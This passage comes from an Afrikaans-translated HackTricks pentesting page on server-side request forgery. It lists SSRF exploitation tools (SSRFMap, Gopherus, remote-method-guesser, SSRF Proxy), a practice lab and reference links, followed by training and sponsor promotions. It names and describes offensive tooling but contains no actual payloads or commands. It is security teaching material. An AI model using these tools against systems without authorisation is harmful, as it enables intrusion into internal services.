[cloud-ssrf.md](cloud-ssrf.md)
|
|
{% endcontent-ref %}
|
|
|
|
## SSRF Kwesbare Platforms
|
|
|
|
Verskeie bekende platforms bevat of het SSRF kwesbaarhede bevat, kyk daarna in:
|
|
|
|
{% content-ref url="ssrf-vulnerable-platforms.md" %}
|
|
[ssrf-vulnerable-platforms.md](ssrf-vulnerable-platforms.md)
|
|
{% endcontent-ref %}
|
|
|
|
## Hulpmiddels
|
|
|
|
### [**SSRFMap**](https://github.com/swisskyrepo/SSRFmap)
|
|
|
|
Hulpmiddel om SSRF kwesbaarhede te detecteer en te benut
|
|
|
|
### [Gopherus](https://github.com/tarunkant/Gopherus)
|
|
|
|
* [Blogpos oor Gopherus](https://spyclub.tech/2018/08/14/2018-08-14-blog-on-gopherus/)
|
|
|
|
Hierdie hulpmiddel genereer Gopher payloads vir:
|
|
|
|
* MySQL
|
|
* PostgreSQL
|
|
* FastCGI
|
|
* Redis
|
|
* Zabbix
|
|
* Memcache
|
|
|
|
### [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
|
|
|
|
* [Blogpos oor SSRF gebruik](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/)
|
|
|
|
_remote-method-guesser_ is 'n _Java RMI_ kwesbaarheid skandeerder wat aanval operasies vir die meeste algemene _Java RMI_ kwesbaarhede ondersteun. Meeste van die beskikbare operasies ondersteun die `--ssrf` opsie, om 'n _SSRF_ payload vir die aangevraagde operasie te genereer. Saam met die `--gopher` opsie, kan gereed-om-te-gebruik _gopher_ payloads direk gegenereer word.
|
|
|
|
### [SSRF Proxy](https://github.com/bcoles/ssrf\_proxy)
|
|
|
|
SSRF Proxy is 'n multi-draad HTTP proxy bediener wat ontwerp is om kliënt HTTP verkeer deur HTTP bedieners wat kwesbaar is vir Server-Side Request Forgery (SSRF) te tonnel.
|
|
|
|
### Om te oefen
|
|
|
|
{% embed url="https://github.com/incredibleindishell/SSRF_Vulnerable_Lab" %}
|
|
|
|
## Verwysings
|
|
|
|
* [https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4](https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4)
|
|
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery)
|
|
* [https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/](https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/)
|
|
* [https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)
|
|
|
|
{% hint style="success" %}
|
|
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Ondersteun HackTricks</summary>
|
|
|
|
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
|
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
\
|
|
Gebruik [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=ssrf-server-side-request-forgery) om maklik te bou en **werkvloei** te **automateer** wat deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels aangedryf word.\
|
|
Kry Toegang Vandag:
|
|
|
|
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ssrf-server-side-request-forgery" %}
|